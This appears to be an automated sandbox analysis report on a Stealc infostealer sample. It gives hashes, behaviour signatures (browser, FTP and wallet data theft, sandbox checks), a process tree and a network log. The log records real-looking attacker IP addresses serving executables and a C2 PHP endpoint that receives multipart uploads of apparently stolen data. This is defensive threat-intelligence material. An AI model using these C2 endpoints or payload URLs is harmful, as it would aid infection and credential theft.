Analysis

  • max time kernel
    140s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-05-2024 09:44

General

  • Target

    90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe

  • Size

    417KB

  • MD5

    be8520de152043f447311594f4ae117d

  • SHA1

    faf0c097ce113bcaa3171233020f5137371c88a5

  • SHA256

    90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00

  • SHA512

    d3f589dae9f18eb16c42247b12a4e16e9644ff98ac0001f8ac84375f8d11dc321884ef29724d59690716cd7b8b017c93f29ff570f8e7bc8639836e18e8c04e9d

  • SSDEEP

    6144:Gvm5q7cumHxCrGqFot529roAosBXIwDT6Wg1dHN8pQUfFZpYY8pS/rUUwKOgYtav:Gvqq7cumorCFKpnq/OFr8pvKStK/

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
    "C:\Users\Admin\AppData\Local\Temp\90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Users\Admin\AppData\Local\Temp\u8w.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u8w.0.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:1144
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 2412
        3⤵
        • Program crash
        PID:1984
    • C:\Users\Admin\AppData\Local\Temp\u8w.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u8w.1.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3184
      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4380
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1044
      2⤵
      • Program crash
      PID:4352
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 320 -ip 320
    1⤵
      PID:3520
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1144 -ip 1144
      1⤵
        PID:4036

      Network

      • flag-de
        GET
        http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        Remote address:
        185.172.128.90:80
        Request
        GET /cpa/ping.php?substr=two&s=ab&sub=0 HTTP/1.1
        Host: 185.172.128.90
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:53 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 1
        Content-Type: text/html; charset=UTF-8
      • flag-us
        DNS
        8.8.8.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        8.8.8.8.in-addr.arpa
        IN PTR
        Response
        8.8.8.8.in-addr.arpa
        IN PTR
        dnsgoogle
      • flag-us
        DNS
        217.106.137.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        217.106.137.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        73.31.126.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        73.31.126.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        172.210.232.199.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        172.210.232.199.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        90.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        90.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-nl
        GET
        https://www.bing.com/th?id=OADD2.10239381793954_1BHQ1BWFG78XLZOQQ&pid=21.2&c=16&roil=0.0049&roit=0&roir=0.9951&roib=1&w=24&h=24&dynsize=1&qlt=90
        Remote address:
        23.62.61.72:443
        Request
        GET /th?id=OADD2.10239381793954_1BHQ1BWFG78XLZOQQ&pid=21.2&c=16&roil=0.0049&roit=0&roir=0.9951&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/2.0
        host: www.bing.com
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-type: image/png
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QWthbWFp
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        content-length: 1299
        date: Mon, 06 May 2024 09:44:54 GMT
        alt-svc: h3=":443"; ma=93600
        x-cdn-traceid: 0.443d3e17.1714988694.21d6a418
      • flag-us
        DNS
        26.35.223.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        26.35.223.20.in-addr.arpa
        IN PTR
        Response
      • flag-de
        GET
        http://185.172.128.228/ping.php?substr=two
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /ping.php?substr=two HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:54 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.59/syncUpd.exe
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        Remote address:
        185.172.128.59:80
        Request
        GET /syncUpd.exe HTTP/1.1
        Host: 185.172.128.59
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:54 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 06 May 2024 09:30:01 GMT
        ETag: "44c00-617c5b6b203bb"
        Accept-Ranges: bytes
        Content-Length: 281600
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.228/BroomSetup.exe
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /BroomSetup.exe HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:55 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT
        ETag: "4a4030-613b1bf118700"
        Accept-Ranges: bytes
        Content-Length: 4866096
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        72.61.62.23.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        72.61.62.23.in-addr.arpa
        IN PTR
        Response
        72.61.62.23.in-addr.arpa
        IN PTR
        a23-62-61-72deploystaticakamaitechnologiescom
      • flag-us
        DNS
        228.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        59.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        59.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID
        Host: 185.172.128.150
        Content-Length: 217
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 156
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH
        Host: 185.172.128.150
        Content-Length: 268
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 1520
        Keep-Alive: timeout=5, max=99
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDG
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 5416
        Keep-Alive: timeout=5, max=98
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB
        Host: 185.172.128.150
        Content-Length: 4815
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=97
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
        ETag: "10e436-5e7eeebed8d80"
        Accept-Ranges: bytes
        Content-Length: 1106998
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:57 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=95
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:57 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=94
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:57 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "a7550-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 685392
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:58 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "94750-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 608080
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:58 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "6dde8-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 450024
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:44:59 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "1f3950-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 2046288
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/softokn3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "3ef50-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 257872
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/vcruntime140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "13bf0-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 80880
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF
        Host: 185.172.128.150
        Content-Length: 947
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=87
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2408
        Keep-Alive: timeout=5, max=86
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH
        Host: 185.172.128.150
        Content-Length: 265
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2052
        Keep-Alive: timeout=5, max=85
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF
        Host: 185.172.128.150
        Content-Length: 727959
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=84
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID
        Host: 185.172.128.150
        Content-Length: 909859
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:02 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=83
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD
        Host: 185.172.128.150
        Content-Length: 15735
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:02 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=82
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC
        Host: 185.172.128.150
        Content-Length: 15731
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:02 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=81
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE
        Host: 185.172.128.150
        Content-Length: 363
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=80
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB
        Host: 185.172.128.150
        Content-Length: 116923
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=79
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u8w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB
        Host: 185.172.128.150
        Content-Length: 270
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 May 2024 09:45:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=78
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-us
        DNS
        150.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        150.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        svc.iolo.com
        u8w.1.exe
        Remote address:
        8.8.8.8:53
        Request
        svc.iolo.com
        IN A
        Response
        svc.iolo.com
        IN A
        20.157.87.45
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u8w.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 256
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb7
        date: Mon, 06 May 2024 09:44:58 GMT
        set-cookie: SERVERID=svc7; path=/
        connection: close
      • flag-us
        DNS
        45.87.157.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.87.157.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        download.iolo.net
        Remote address:
        8.8.8.8:53
        Request
        download.iolo.net
        IN A
        Response
        download.iolo.net
        IN CNAME
        iolo0.b-cdn.net
        iolo0.b-cdn.net
        IN A
        143.244.56.51
      • flag-fr
        HEAD
        https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
        Remote address:
        143.244.56.51:443
        Request
        HEAD /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/2.0
        host: download.iolo.net
        accept: */*
        accept-encoding: identity
        user-agent: Microsoft BITS/7.8
        Response
        HTTP/2.0 200
        date: Mon, 06 May 2024 09:45:03 GMT
        content-type: application/octet-stream
        content-length: 59721128
        server: BunnyCDN-FR1-1074
        cdn-pullzone: 1654350
        cdn-uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028
        cdn-requestcountrycode: GB
        cache-control: public, max-age=259200
        last-modified: Tue, 19 Mar 2024 23:10:11 GMT
        cdn-storageserver: DE-680
        cdn-fileserver: 757
        cdn-proxyver: 1.04
        cdn-requestpullsuccess: True
        cdn-requestpullcode: 206
        cdn-cachedat: 05/01/2024 17:21:57
        cdn-edgestorageid: 1072
        cdn-status: 200
        cdn-requestid: 1ba8d4ea02d92aa606de85071b51af8a
        cdn-cache: HIT
        accept-ranges: bytes
      • flag-fr
        GET
        https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
        Remote address:
        143.244.56.51:443
        Request
        GET /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/2.0
        host: download.iolo.net
        accept: */*
        accept-encoding: identity
        if-unmodified-since: Tue, 19 Mar 2024 23:10:11 GMT
        user-agent: Microsoft BITS/7.8
        Response
        HTTP/2.0 200
        date: Mon, 06 May 2024 09:45:03 GMT
        content-type: application/octet-stream
        content-length: 59721128
        server: BunnyCDN-FR1-1074
        cdn-pullzone: 1654350
        cdn-uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028
        cdn-requestcountrycode: GB
        cache-control: public, max-age=259200
        last-modified: Tue, 19 Mar 2024 23:10:11 GMT
        cdn-storageserver: DE-680
        cdn-fileserver: 757
        cdn-proxyver: 1.04
        cdn-requestpullsuccess: True
        cdn-requestpullcode: 206
        cdn-cachedat: 05/01/2024 17:21:57
        cdn-edgestorageid: 1072
        cdn-status: 200
        cdn-requestid: 6b3a859109b6c22951be682a35c555c5
        cdn-cache: HIT
        accept-ranges: bytes
      • flag-us
        DNS
        51.56.244.143.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        51.56.244.143.in-addr.arpa
        IN PTR
        Response
        51.56.244.143.in-addr.arpa
        IN PTR
        143-244-56-51 bunnyinfranet
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u8w.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 192
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb5
        date: Mon, 06 May 2024 09:45:09 GMT
        set-cookie: SERVERID=svc5; path=/
        connection: close
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
        Response
